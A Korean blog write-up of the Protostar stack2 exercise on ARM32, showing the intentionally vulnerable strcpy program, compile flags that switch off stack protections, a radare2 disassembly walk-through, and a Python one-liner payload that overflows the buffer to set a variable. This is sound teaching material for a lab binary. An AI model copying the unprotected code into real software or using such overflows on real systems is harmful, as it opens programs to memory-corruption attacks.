ARM Exploitation

ARM32 Exploit Exercies - Protostar_stack2

지난번 글에 이어 이번에는 stack2이다.

1. 소스코드

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];
    char *variable;

    variable = getenv("GREENIE");

    if (variable == NULL)
    {
        errx(1, "please set the GREENIE environment variable\n");
    }

    modified = 0;

    strcpy(buffer, variable);

    if (modified == 0x0d0a0d0a)
    {
        printf("you have correctly modified the variable\n");
    }
    else
    {
        printf("Try again, you got 0x%08x\n", modified);
    }
}

참고로 원본 소스코드를 컴파일할 시 일부 경고 메시지가 나와서, err.h 등 일부 헤더 파일을 추가로 선언해주었다.

stack2는 사실상 stack1과 거의 유사하다. 다만 차이점은 사용자의 입력인 argv 대신 환경변수를 통해 입력을 받는다는 것만 다르다. 입력된 값은 strcpy() 함수를 통해 복사되어 buffer에 저장되는데 이 함수는 취약점을 가지고 있다.


2. Compile(Raspberry pi / arm)

$ gcc -o stack2 -fno-stack-protector -z execstack -z norelro -no-pie stack2.c

raspberry pi 3에서 32 bit linux os 가 설치된 환경을 기준으로 위와 같이 컴파일한다. 이때 사용된 옵션을 간략히 설명하면 아래와 같다.

  • -fno-stack-protector : 스택이 넘치는 것을 방지하기 위한 보안 메커니즘. 설정을 해제한다.
  • -z execstack : 스택의 내용을 실행할 수 없도록 한 일명 nx. 설정을 해제한다.
  • -z norelro : relro 설정을 해제한다.
  • -no-pie : pie 설정을 해제한다.

현대의 linux 환경은 그 자체로 진화를 거듭하며 일부 보안 메커니즘을 default 로 탑재하기 시작했다. 하지만 이 예제에서는 의도적으로 취약한 프로그램을 만들어야 실습을 할 수 있으므로 보안 메커니즘을 적용하지 않은 채로 컴파일하는 것이다.


3. 실행

$ ./stack2 
stack2: please set the GREENIE environment variable

$ export GREENIE='AAAAAAAA'

$ echo $GREENIE
AAAAAAAA

$ ./stack2 
Try again, you got 0x00000000

컴파일 된 바이너리를 그냥 실행하면, GREENIE 라는 환경 변수(environment variable)을 설정해달라고 한다. 커맨드 라인 입력으로 export 명령어에 GREENIE='AAAA' 같은 방식으로 설정할 수 있다. 이후 stack2 바이너리를 실행해보면, 사용자가 설정한 환경변수가 프로그램의 의도에 부합하지 않으면 Try again 메시지를 띄우고 종료된다. 참고할 수 있도록 목표하는 modified 값이 16진수로 몇으로 설정되어 있는지를 함께 보여준다.


4. 디스어셈블 분석

소스코드가 주어진 환경이므로 사실상 프로그램 구조는 다 파악이 가능한 상황이나, CTF나 Real-world Bug hunting 상황에서는 소스코드를 기대할 수 없으므로, 바이너리에서 디스어셈블하는 연습이 필요하다. 보통은 objdump를 사용하거나, gdb를 통해 disass 를 수행하면 된다.

여기에서는 radare2라는 도구를 통해 보다 개선된 방식으로 main 함수의 내용을 디스어셈블해보았다.

코드는 stack1과 거의 유사하다. 약간씩 나누어서 이해해보자.

1) 함수 프롤로그

함수 프롤로그는 프로그램의 기존 상태를 저장하고, 함수 내에서 사용할 지역 변수들을 위한 공간을 스택에 마련하는 과정이다.

0x000104ac <+0>:    push    {r11, lr}
0x000104b0 <+4>:    add    r11, sp, #4
0x000104b4 <+8>:    sub    sp, sp, #80    ; 0x50

fp(Frame Pointer, R11 레지스터)  와 lr(Link Reginster, R14 레지스터) 를 스택에 저장한다. 그리고 스택 프레임의 바닥을 설정한다. 이후 sp를 조절하여 스택으로 사용할 공간을 확보한다.

2) main 함수 body

이어지는 프로그램의 동작을 살펴보자. 대체적으로 단순한 구조를 이룬다.

0x000104b8      50000be5       str r0, [var_50h]           ; 0x50 ; 80 ; argc
0x000104bc      54100be5       str r1, [var_54h]           ; 0x54 ; 84 ; argv
0x000104c0      70009fe5       ldr r0, [str.GREENIE]       ; [0x10538:4]=0x105bc str.GREENIE
0x000104c4      aaffffeb       bl sym.imp.getenv           ; char *getenv(const char *name)
0x000104c8      08000be5       str r0, [var_8h]            ; 8
0x000104cc      08301be5       ldr r3, [var_8h]            ; 8
0x000104d0      000053e3       cmp r3, 0
┌─< 0x000104d4      0200001a       bne 0x104e4
│   0x000104d8      5c109fe5       ldr r1, [str.please_set_the_GREENIE_environment_variable] ; [0x1053c:4]=0x105c4 str.please_set_the_GREENIE_environment_variable
│   0x000104dc      0100a0e3       mov r0, 1
│   0x000104e0      afffffeb       bl sym.imp.errx             ; void errx(int eval)
└─> 0x000104e4      0030a0e3       mov r3, 0

위의 두 코드는 각각 r0과 r1에 argc 와 argv 를 설정한다. 아무런 argv를 입력하지 않은 상태로 실행한 후 디버거를 통해 확인해보면 r0에는 1이 할당되고, r1에는 '/home/pi/arm_exploitation/stack/stack2/stack2' 이 할당되어 있다.

이어서 getenv 함수를 통해 해당 값을 r3으로 불러온다. 만약 아무런 값도 설정되어 있지 않다면  if (variable == NULL)이 발생하여 관련 오류 메시지를 출력하고 종료한다.

그러므로 미리 env 변수 GREENIE를 설정해두고 프로그램을 실행해보면 r3 이 NULL이 아니므로 진행이 될 것이다.

0x000104e4      0030a0e3       mov r3, 0
0x000104e8      0c300be5       str r3, [var_ch]            ; 0xc ; 12
0x000104ec      4c304be2       sub r3, fp, 0x4c
0x000104f0      08101be5       ldr r1, [var_8h]            ; 8
0x000104f4      0300a0e1       mov r0, r3
0x000104f8      9affffeb       bl sym.imp.strcpy           ; char *strcpy(char *dest, const char *src)

이어지는 코드는 getenv() 한 내용을 buffer 영역으로 복사하는 strcpy()함수를 위한 준비 동작이다.

0x000104fc      0c301be5       ldr r3, [var_ch]            ; 0xc ; 12
0x00010500      38209fe5       ldr r2, [0x00010540]        ; [0x10540:4]=0xd0a0d0a
0x00010504      020053e1       cmp r3, r2
┌─< 0x00010508      0200001a       bne 0x10518
│   0x0001050c      30009fe5       ldr r0, [str.you_have_correctly_modified_the_variable] ; [0x10544:4]=0x105f4 str.you_have_correctly_modified_the_variable
│   0x00010510      9affffeb       bl sym.imp.puts             ; int puts(const char *s)
┌──< 0x00010514      030000ea       b 0x10528
│└─> 0x00010518      0c301be5       ldr r3, [var_ch]            ; 0xc ; 12
│    0x0001051c      0310a0e1       mov r1, r3
│    0x00010520      20009fe5       ldr r0, [str.Try_again__you_got_0x_08x] ; [0x10548:4]=0x10620 str.Try_again__you_got_0x_08x
│    0x00010524      8cffffeb       bl sym.imp.printf           ; int printf(const char *format)

이후 cmp 비교를 통해 r3 레지스터에 저장된 값이 0x0d0a0d0a와 같은지 확인한다. 그 결과가 참인지 거짓인지에 따라 조건 분기가 발생하며 각각 다른 내용의 문자열을 puts로 출력한다. 성공하면 "you have correctly modified the variable\n"가 표출되고, 틀리면 "Try again, you got 0x%08x\n"이 나온다. 이때 풀이의 편의를 위해 modified 변수에 저장되어 있는 값이 무엇인지를 힌트로 보여준다. 

참고로 stack1 문제에서 0x61626364 와 다르게 0x0d0a0d0a 으로 설정을 해야 하는데, 61626364는 abcd 이므로 손쉽게 입력할 수 있는 반면, 0d0a는 개행 문자이므로 직접 입력이 어렵다. 16진수 0D는 CR (Carriage Return; 캐리지 리턴) 이고, 0A는 LF(Line Feed; 라인 피드) 이다. 이 값은 직접 입력이 아니라 파이썬 등의 코드를 통해 생성하여 입력해야 할 것이다.

3) 함수 에필로그

0x00010528      0030a0e3       mov r3, 0
0x0001052c      0300a0e1       mov r0, r3
0x00010530      04d04be2       sub sp, fp, 4
0x00010534      0088bde8       pop {fp, pc}

함수 에필로그는 프로그램의 상태를 해당 함수로 진입하기 이전으로 되돌려놓는 과정이다.  사용했던 레지스터를 다시 초기화한다. 그리고 이때 스택 포인터 역시 원상 복구되어야 한다. stack pointer 를 조절할 때에는 frame pointer를 기준으로 add 또는 sub 등으로 맞출 수 있다. 이후 pop 명령을 통해 스택에 저장해두었던 값을 가져와서 해당 레지스터에 할당한다.


5. 문제 풀이

이 문제의 경우 앞서 stack1와 거의 동일한 풀이이기 때문에 자세한 설명은 stack1 설명 글을 먼저 참고하기 바란다.

다만, stack2 문제에서 달라진 점은 modified 값을 구체적인 값으로 특정해서 정확하게 맞추어야 한다는 것과, 이를 사용자 입력이 아닌 미리 선언된 환경변수 값으로 처리해야 한다는 것이다. 이를 그림으로 그려보면 아래와 같다.

사용자가 argv로 전달한 값은 0x7efff43c 주소부터 시작해서 Buffer에 복사되기 시작하는데, 그 크기가 64까지인지를 체크하지 않는다(strcpy 함수의 취약점). 그렇다면 64를 넘어서게 되면 그 뒤에 있던 modified 변수의 공간을 침범하게 된다. 

그렇다면 stack overflow 를 수행하여 modified 값을 0x0d0a0d0a로 변조해보자.

먼저 임의의 내용을 가진 길이 64의 문자열을 환경변수 GREENIE로 등록하자.

$ export GREENIE=$(python -c 'print ("A"*64 + "\x0a\x0d\x0a\x0d")')

그리고 stack2 프로그램을 실행하면 성공한다.

pi@raspberrypi:~/arm_exploitation/stack/stack2 $ ./stack2
you have correctly modified the variable

6. 결론

우선 이번 stack2문제는 단순히 buffer 배열을 너머 modified 변수에 특정한 값을 의도적으로 할당할 수 있음을 보았다. 이는 stack0이나 stack1과 본질적으로 동일하지만 그저 입력을 환경 변수로부터 받았다는 것만 다르다. 

사실 뒤에 저장되어 있는 기존 FP 및 LR의 값을 변조하는 것도 가능하며 이는 곧 Program Counter 를 조작하여 Return Address 를 바꿔버리는 것으로 이어질 수 있다. 이러한 상황은 이어질 stack3 ~ stack7 문제를 통해 하나씩 살펴볼 예정이다.

Software Security Engineer

CPUU 님의 창작활동을 응원하고 싶으세요?

CPUU의 Daydreamin'
CPUU의 Daydreamin'
구독자 220

0개의 댓글

SNS 계정으로 간편하게 로그인하고 댓글을 남겨주세요.
새로운 알림이 없습니다.